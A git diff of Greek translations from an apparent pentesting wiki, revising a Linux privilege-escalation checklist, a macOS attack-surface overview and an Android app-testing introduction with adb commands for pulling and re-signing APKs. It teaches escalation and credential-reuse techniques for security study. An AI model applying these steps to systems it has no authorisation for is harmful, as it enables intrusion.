* [ ] Ελέγξτε το [**PATH**](privilege-escalation/#path), υπάρχει **γραφείο που μπορεί να γραφτεί**;
* [ ] Ελέγξτε [**μεταβλητές περιβάλλοντος**](privilege-escalation/#env-info), υπάρχει κάποια ευαίσθητη λεπτομέρεια;
* [ ] Ελέγξτε [**μεταβλητές env**](privilege-escalation/#env-info), υπάρχει κάποια ευαίσθητη λεπτομέρεια;
* [ ] Αναζητήστε [**εκμεταλλεύσεις πυρήνα**](privilege-escalation/#kernel-exploits) **χρησιμοποιώντας scripts** (DirtyCow?)
* [ ] **Ελέγξτε** αν η [**έκδοση sudo** είναι ευάλωτη](privilege-escalation/#sudo-version)
* [ ] [**Η επαλήθευση υπογραφής Dmesg απέτυχε**](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] Περισσότερη αναγνώριση συστήματος ([ημερομηνία, στατιστικά συστήματος, πληροφορίες CPU, εκτυπωτές](privilege-escalation/#more-system-enumeration))
* [ ] Περισσότερη αναγνώριση συστήματος ([ημερομηνία, στατιστικά συστήματος, πληροφορίες cpu, εκτυπωτές](privilege-escalation/#more-system-enumeration))
* [ ] [**Αναγνωρίστε περισσότερες άμυνες**](privilege-escalation/#enumerate-possible-defenses)
### [Δίσκοι](privilege-escalation/#drives)
* [ ] **Λίστα των προσαρτημένων** δίσκων
* [ ] **Κάποιος μη προσαρτημένος δίσκος;**
* [ ] **Κάποια διαπιστευτήρια στο fstab;**
* [ ] **Κάποια creds στο fstab;**
### [**Εγκατεστημένο Λογισμικό**](privilege-escalation/#installed-software)
@ -56,34 +56,34 @@
### [Διεργασίες](privilege-escalation/#processes)
* [ ] Τρέχει κάποιο **άγνωστο λογισμικό**;
* [ ] Τρέχει κάποιο λογισμικό με **περισσότερα δικαιώματα από όσα θα έπρεπε**;
* [ ] Αναζητήστε **εκμεταλλεύσεις τρεχουσών διεργασιών** (ιδιαίτερα την έκδοση που τρέχει).
* [ ] Μπορείτε να **τροποποιήσετε το δυαδικό** οποιασδήποτε τρέχουσας διεργασίας;
* [ ] **Παρακολουθήστε διεργασίες** και ελέγξτε αν τρέχει κάποια ενδιαφέρουσα διεργασία συχνά.
* [ ] Μπορείτε να **διαβάσετε** κάποια ενδιαφέρουσα **μνήμη διεργασίας** (όπου θα μπορούσαν να αποθηκευτούν κωδικοί);
* [ ] Υπάρχει κάποιο **άγνωστο λογισμικό που εκτελείται**;
* [ ] Υπάρχει κάποιο λογισμικό που εκτελείται με **περισσότερα δικαιώματα από όσα θα έπρεπε**;
* [ ] Αναζητήστε **εκμεταλλεύσεις εκτελούμενων διεργασιών** (ιδιαίτερα την έκδοση που εκτελείται).
* [ ] Μπορείτε να **τροποποιήσετε το δυαδικό** οποιασδήποτε εκτελούμενης διεργασίας;
* [ ] **Παρακολουθήστε διεργασίες** και ελέγξτε αν κάποια ενδιαφέρουσα διεργασία εκτελείται συχνά.
* [ ] Μπορείτε να **διαβάσετε** κάποια ενδιαφέρουσα **μνήμη διεργασίας** (όπου θα μπορούσαν να αποθηκευτούν κωδικοί πρόσβασης);
### [Προγραμματισμένα/Cron jobs;](privilege-escalation/#scheduled-jobs)
* [ ] Επηρεάζεται το [**PATH** ](privilege-escalation/#cron-path) από κάποιο cron και μπορείτε να **γράψετε** σε αυτό;
* [ ] Κάποιο [**wildcard** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) σε ένα cron job;
* [ ] Κάποιο [**τροποποιήσιμο script** ](privilege-escalation/#cron-script-overwriting-and-symlink) εκτελείται ή είναι μέσα σε **τροποποιήσιμο φάκελο**;
* [ ] Ελέγχεται το [**PATH** ](privilege-escalation/#cron-path) από κάποιο cron και μπορείτε να **γράψετε** σε αυτό;
* [ ] Κάποιο [**wildcard** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)σε ένα cron job;
* [ ] Κάποιο [**τροποποιήσιμο script** ](privilege-escalation/#cron-script-overwriting-and-symlink)εκτελείται ή είναι μέσα σε **τροποποιήσιμο φάκελο**;
* [ ] Έχετε ανιχνεύσει ότι κάποιο **script** θα μπορούσε να είναι ή είναι [**εκτελούμενο** πολύ **συχνά**](privilege-escalation/#frequent-cron-jobs); (κάθε 1, 2 ή 5 λεπτά)
### [Υπηρεσίες](privilege-escalation/#services)
* [ ] Κάποιο **γραφείο .service** που μπορεί να γραφτεί;
* [ ] Κάποιο **δυαδικό αρχείο** που εκτελείται από μια **υπηρεσία**;
* [ ] Κάποιο **δυαδικό που μπορεί να γραφτεί** εκτελείται από μια **υπηρεσία**;
* [ ] Κάποιο **γραφείο που μπορεί να γραφτεί στο systemd PATH**;
### [Χρονοδιακόπτες](privilege-escalation/#timers)
* [ ] Κάποιο **γραμμένο χρονοδιακόπτη**;
* [ ] Κάποιο **χρονοδιακόπτης που μπορεί να γραφτεί**;
### [Sockets](privilege-escalation/#sockets)
### [Υποδοχές](privilege-escalation/#sockets)
* [ ] Κάποιο **γραφείο .socket** που μπορεί να γραφτεί;
* [ ] Μπορείτε να **επικοινωνήσετε με κάποιο socket**;
* [ ] Μπορείτε να **επικοινωνήσετε με κάποια υποδοχή**;
* [ ] **HTTP sockets** με ενδιαφέρουσες πληροφορίες;
### [D-Bus](privilege-escalation/#d-bus)
@ -94,7 +94,7 @@
* [ ] Αναγνωρίστε το δίκτυο για να ξέρετε πού βρίσκεστε
* [ ] **Ανοιχτές θύρες που δεν μπορούσατε να αποκτήσετε πρόσβαση πριν** αποκτήσετε shell μέσα στη μηχανή;
* [ ] Μπορείτε να **καταγράψετε την κίνηση** χρησιμοποιώντας `tcpdump`;
* [ ] Μπορείτε να **συλλάβετε κίνηση** χρησιμοποιώντας `tcpdump`;
### [Χρήστες](privilege-escalation/#users)
@ -103,11 +103,11 @@
* [ ] Μπορείτε να [**ανυψώσετε δικαιώματα χάρη σε μια ομάδα**](privilege-escalation/interesting-groups-linux-pe/) στην οποία ανήκετε;
* [ ] Δεδομένα **Clipboard**;
* [ ] Πολιτική Κωδικών Πρόσβασης;
* [ ] Δοκιμάστε να **χρησιμοποιήσετε** κάθε **γνωστό κωδικό** που έχετε ανακαλύψει προηγουμένως για να συνδεθείτε **με κάθε** δυνατό **χρήστη**. Δοκιμάστε να συνδεθείτε επίσης χωρίς κωδικό.
* [ ] Δοκιμάστε να **χρησιμοποιήσετε** κάθε **γνωστό κωδικό πρόσβασης** που έχετε ανακαλύψει προηγουμένως για να συνδεθείτε **με κάθε** δυνατό **χρήστη**. Δοκιμάστε να συνδεθείτε επίσης χωρίς κωδικό πρόσβασης.
### [Γραφείο PATH που μπορεί να γραφτεί](privilege-escalation/#writable-path-abuses)
* [ ] Αν έχετε **δικαιώματα εγγραφής σε κάποιο φάκελο στο PATH** μπορεί να μπορείτε να ανυψώσετε δικαιώματα
* [ ] Εάν έχετε **δικαιώματα εγγραφής σε κάποιο φάκελο στο PATH** μπορεί να μπορείτε να ανυψώσετε δικαιώματα
### [Εντολές SUDO και SUID](privilege-escalation/#sudo-and-suid)
@ -125,13 +125,13 @@
### [Δυνατότητες](privilege-escalation/#capabilities)
* [ ] Έχει κάποιο δυαδικό **αναπάντεχη δυνατότητα**;
* [ ] Έχει κάποιο δυαδικό κάποια **αναμενόμενη δυνατότητα**;
### [ACLs](privilege-escalation/#acls)
* [ ] Έχει κάποιο αρχείο **αναπάντεχη ACL**;
* [ ] Έχει κάποιο αρχείο κάποια **αναμενόμενη ACL**;
### [Ανοιχτές συνεδρίες shell](privilege-escalation/#open-shell-sessions)
### [Ανοιχτές συνεδρίες Shell](privilege-escalation/#open-shell-sessions)
* [ ] **screen**
* [ ] **tmux**
@ -139,21 +139,21 @@
### [SSH](privilege-escalation/#ssh)
* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
* [ ] [**Ενδιαφέροντα τιμές ρυθμίσεων SSH**](privilege-escalation/#ssh-interesting-configuration-values)
* [ ] [**Ενδιαφέροντα παραμετροποιημένα SSH**](privilege-escalation/#ssh-interesting-configuration-values)
### [Ενδιαφέροντα Αρχεία](privilege-escalation/#interesting-files)
* [ ] **Αρχεία προφίλ** - Διαβάστε ευαίσθητα δεδομένα; Γράψτε σε privesc;
* [ ] **αρχεία passwd/shadow** - Διαβάστε ευαίσθητα δεδομένα; Γράψτε σε privesc;
* [ ] **Ελέγξτε κοινά ενδιαφέροντα φακέλους** για ευαίσθητα δεδομένα
* [ ] **Περίεργη τοποθεσία/ιδιοκτησία αρχείων,** μπορεί να έχετε πρόσβαση ή να τροποποιήσετε εκτελέσιμα αρχεία
* [ ] **Περίεργη τοποθεσία/Αρχεία που ανήκουν,** μπορεί να έχετε πρόσβαση ή να τροποποιήσετε εκτελέσιμα αρχεία
* [ ] **Τροποποιημένα** στα τελευταία λεπτά
* [ ] **Sqlite DB αρχεία**
* [ ] **Αρχεία Sqlite DB**
* [ ] **Κρυφά αρχεία**
* [ ] **Script/Δυαδικά αρχεία στο PATH**
* [ ] **Web αρχεία** (κωδικοί;)
* [ ] **Script/Δυαδικά στο PATH**
* [ ] **Web αρχεία** (κωδικοί πρόσβασης;)
* [ ] **Αντίγραφα ασφαλείας**;
* [ ] **Γνωστά αρχεία που περιέχουν κωδικούς**: Χρησιμοποιήστε **Linpeas** και **LaZagne**
* [ ] **Γνωστά αρχεία που περιέχουν κωδικούς πρόσβασης**: Χρησιμοποιήστε **Linpeas** και **LaZagne**
* [ ] **Γενική αναζήτηση**
### [**Αρχεία που μπορούν να γραφτούν**](privilege-escalation/#writable-files)
@ -168,7 +168,7 @@
* [ ] Μπορείτε να [**καταχραστείτε το NFS για να ανυψώσετε δικαιώματα**](privilege-escalation/#nfs-privilege-escalation);
* [ ] Χρειάζεστε να [**ξεφύγετε από μια περιοριστική shell**](privilege-escalation/#escaping-from-restricted-shells);
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
@ -184,8 +184,8 @@
**Εγγραφείτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
{% hint style="success" %}
Μάθετε και εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε και εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και hunters bug bounty!
@ -30,11 +30,11 @@
**Εγγραφείτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
## Βασικά MacOS
## Basic MacOS
Αν δεν είστε εξοικειωμένοι με το macOS, θα πρέπει να ξεκινήσετε να μαθαίνετε τα βασικά του macOS:
* Ειδικά αρχεία & δικαιώματα macOS:
* Ειδικά αρχεία & δικαιώματα **macOS:**
{% content-ref url="macos-files-folders-and-binaries/" %}
[macos-files-folders-and-binaries](macos-files-folders-and-binaries/)
@ -58,7 +58,7 @@
[mac-os-architecture](mac-os-architecture/)
{% endcontent-ref %}
* Κοινές υπηρεσίες & πρωτόκολλα δικτύου macOS
* Κοινές υπηρεσίες & πρωτόκολλα δικτύου **macOS**
{% content-ref url="macos-protocols.md" %}
[macos-protocols.md](macos-protocols.md)
@ -69,7 +69,7 @@
### MacOS MDM
Σε εταιρείες, τα συστήματα **macOS** είναι πολύ πιθανό να είναι **διαχειριζόμενα με MDM**. Επομένως, από την προοπτική ενός επιτιθέμενου είναι ενδιαφέρον να γνωρίζει **πώς λειτουργεί**:
Σε εταιρείες, τα συστήματα **macOS** είναι πολύ πιθανό να είναι **διαχειριζόμενα με MDM**. Επομένως, από την προοπτική ενός επιτιθέμενου είναι ενδιαφέρον να γνωρίζει **πώς λειτουργεί αυτό**:
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
[macos-mdm](../macos-red-teaming/macos-mdm/)
@ -81,25 +81,25 @@
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
{% endcontent-ref %}
## Προστασίες Ασφαλείας MacOS
## MacOS Security Protections
{% content-ref url="macos-security-protections/" %}
[macos-security-protections](macos-security-protections/)
{% endcontent-ref %}
## Επιφάνεια Επίθεσης
## Attack Surface
### Δικαιώματα Αρχείων
### File Permissions
Αν μια **διαδικασία που εκτελείται ως root γράφει** ένα αρχείο που μπορεί να ελεγχθεί από έναν χρήστη, ο χρήστης θα μπορούσε να το εκμεταλλευτεί για να **κάνει κλιμάκωση δικαιωμάτων**.\
Αν μια **διαδικασία που εκτελείται ως root γράφει** ένα αρχείο που μπορεί να ελεγχθεί από έναν χρήστη, ο χρήστης θα μπορούσε να το εκμεταλλευτεί για να **κλιμακώσει τα δικαιώματα**.\
Αυτό θα μπορούσε να συμβεί στις παρακάτω καταστάσεις:
* Το αρχείο που χρησιμοποιήθηκε είχε ήδη δημιουργηθεί από έναν χρήστη (ανήκει στον χρήστη)
* Το αρχείο που χρησιμοποιήθηκε είναι εγγράψιμο από τον χρήστη λόγω ομάδας
* Το αρχείο που χρησιμοποιήθηκε είναι εγγράψιμο από τον χρήστη λόγω μιας ομάδας
* Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον χρήστη (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
* Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στο root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτόν λόγω ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
* Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτόν λόγω μιας ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
Η δυνατότητα **δημιουργίας ενός αρχείου** που πρόκειται να **χρησιμοποιηθεί από το root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμη και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία.
Η δυνατότητα **δημιουργίας ενός αρχείου** που θα χρησιμοποιηθεί από τον **root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμα και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία.
Για αυτού του είδους τις ευπάθειες μην ξεχάσετε να **ελέγξετε ευάλωτους εγκαταστάτες `.pkg`**:
@ -107,7 +107,7 @@
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
{% endcontent-ref %}
### Χειριστές εφαρμογών επεκτάσεων αρχείων & URL scheme
### File Extension & URL scheme app handlers
Περίεργες εφαρμογές που έχουν καταχωρηθεί από επεκτάσεις αρχείων θα μπορούσαν να εκμεταλλευτούν και διαφορετικές εφαρμογές μπορούν να καταχωρηθούν για να ανοίξουν συγκεκριμένα πρωτόκολλα
@ -115,17 +115,17 @@
[macos-file-extension-apps.md](macos-file-extension-apps.md)
{% endcontent-ref %}
## macOS TCC / SIP Κλιμάκωση Δικαιωμάτων
## macOS TCC / SIP Privilege Escalation
Στο macOS **οι εφαρμογές και τα αρχεία εκτελέσιμα μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχους από άλλους.
Στο macOS **οι εφαρμογές και τα δυαδικά αρχεία μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχους από άλλους.
Επομένως, ένας επιτιθέμενος που θέλει να συμβιβάσει με επιτυχία μια μηχανή macOS θα χρειαστεί να **κλιμακώσει τα δικαιώματα TCC** του (ή ακόμη και **να παρακάμψει το SIP**, ανάλογα με τις ανάγκες του).
Επομένως, ένας επιτιθέμενος που θέλει να συμβιβάσει επιτυχώς μια μηχανή macOS θα χρειαστεί να **κλιμακώσει τα δικαιώματα TCC** του (ή ακόμα και **να παρακάμψει το SIP**, ανάλογα με τις ανάγκες του).
Αυτά τα δικαιώματα δίνονται συνήθως με τη μορφή **entitlements** με τα οποία είναι υπογεγραμμένη η εφαρμογή, ή η εφαρμογή μπορεί να ζητήσει κάποιες προσβάσεις και μετά την **έγκριση τους από τον χρήστη** μπορούν να βρεθούν στις **βάσεις δεδομένων TCC**. Ένας άλλος τρόπος με τον οποίο μια διαδικασία μπορεί να αποκτήσει αυτά τα δικαιώματα είναι να είναι **παιδί μιας διαδικασίας** με αυτά τα **δικαιώματα** καθώς συνήθως **κληρονομούνται**.
Αυτά τα δικαιώματα δίνονται συνήθως με τη μορφή **entitlements** με τις οποίες είναι υπογεγραμμένη η εφαρμογή, ή η εφαρμογή μπορεί να ζητήσει κάποιες προσβάσεις και μετά την **έγκριση τους από τον χρήστη** μπορούν να βρεθούν στις **βάσεις δεδομένων TCC**. Ένας άλλος τρόπος με τον οποίο μια διαδικασία μπορεί να αποκτήσει αυτά τα δικαιώματα είναι να είναι **παιδί μιας διαδικασίας** με αυτά τα **δικαιώματα** καθώς συνήθως **κληρονομούνται**.
Ακολουθήστε αυτούς τους συνδέσμους για να βρείτε διαφορετικούς τρόπους για [**να κλιμακώσετε δικαιώματα στο TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), για [**να παρακάμψετε το TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) και πώς στο παρελθόν [**το SIP έχει παρακαμφθεί**](macos-security-protections/macos-sip.md#sip-bypasses).
Ακολουθήστε αυτούς τους συνδέσμους για να βρείτε διαφορετικούς τρόπους για [**να κλιμακώσετε δικαιώματα στο TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), για [**να παρακάμψετε το TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) και πώς στο παρελθόν [**έχει παρακαμφθεί το SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Παραδοσιακή Κλιμάκωση Δικαιωμάτων
## macOS Traditional Privilege Escalation
Φυσικά από την προοπτική των κόκκινων ομάδων θα πρέπει επίσης να ενδιαφέρεστε να κλιμακώσετε σε root. Ελέγξτε την παρακάτω ανάρτηση για μερικές συμβουλές:
@ -133,11 +133,11 @@
[macos-privilege-escalation.md](macos-privilege-escalation.md)
{% endcontent-ref %}
## Συμμόρφωση macOS
## macOS Compliance
* [https://github.com/usnistgov/macos\_security](https://github.com/usnistgov/macos\_security)
## Αναφορές
## References
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
@ -145,7 +145,7 @@
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και hunters bug bounty!

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
@ -26,13 +26,13 @@
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Latest Announcements**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounties και κρίσιμες ενημερώσεις πλατφόρμας
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφορμών
**Εγγραφείτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
## Android Applications Basics
Είναι πολύ σημαντικό να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
Είναι πολύ σημαντικό να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια του Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
{% content-ref url="android-applications-basics.md" %}
[android-applications-basics.md](android-applications-basics.md)
@ -41,14 +41,14 @@
## ADB (Android Debug Bridge)
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή android (εξομοιωμένη ή φυσική).\
**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Δικτύου** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, την **αντίγραφο ασφαλείας** δεδομένων, την **ανάγνωση** καταγραφών, μεταξύ άλλων λειτουργιών.
**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Δικτύου** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, **εκτέλεση** εντολών shell, **δημιουργία αντιγράφων ασφαλείας** δεδομένων, **ανάγνωση** καταγραφών, μεταξύ άλλων λειτουργιών.
Ρίξτε μια ματιά στη παρακάτω λίστα με [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
Ρίξτε μια ματιά στη λίστα με τις [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
## Smali
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, θα μπορούσε να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\
[**Σε αυτό το tutorial** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό θα μπορούσε να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό αυτή την πιθανότητα**.
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\
[**Σε αυτό το tutorial** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**.
## Other interesting tricks
@ -64,7 +64,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
* Συγχωνεύστε όλα τα splits και τα base apks με [APKEditor](https://github.com/REAndroid/APKEditor):
* Συγχωνεύστε όλα τα διαχωρισμένα και βασικά apks με [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -92,15 +92,15 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
**Ευπάθειες** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν:
* **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ ενέχουν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
* **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που ασχολούνται με ευαίσθητες πληροφορίες για να αποτραπούν μη εξουσιοδοτημένα αντίγραφα ασφαλείας δεδομένων μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
* **Ασφάλεια Δικτύου**: Προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP traffic για συγκεκριμένα domains.
* **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ θέτουν σε κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
* **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που ασχολούνται με ευαίσθητες πληροφορίες για να αποτραπεί η μη εξουσιοδοτημένη δημιουργία αντιγράφων ασφαλείας μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
* **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP traffic για συγκεκριμένα domains.
* **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να κακοποιηθούν. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
* **Content Providers και FileProviders**: Οι εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η ρύθμιση των FileProviders θα πρέπει επίσης να εξεταστεί προσεκτικά.
* **Broadcast Receivers και URL Schemes**: Αυτά τα στοιχεία θα μπορούσαν να χρησιμοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στο πώς διαχειρίζονται τα URL schemes για ευπάθειες εισόδου.
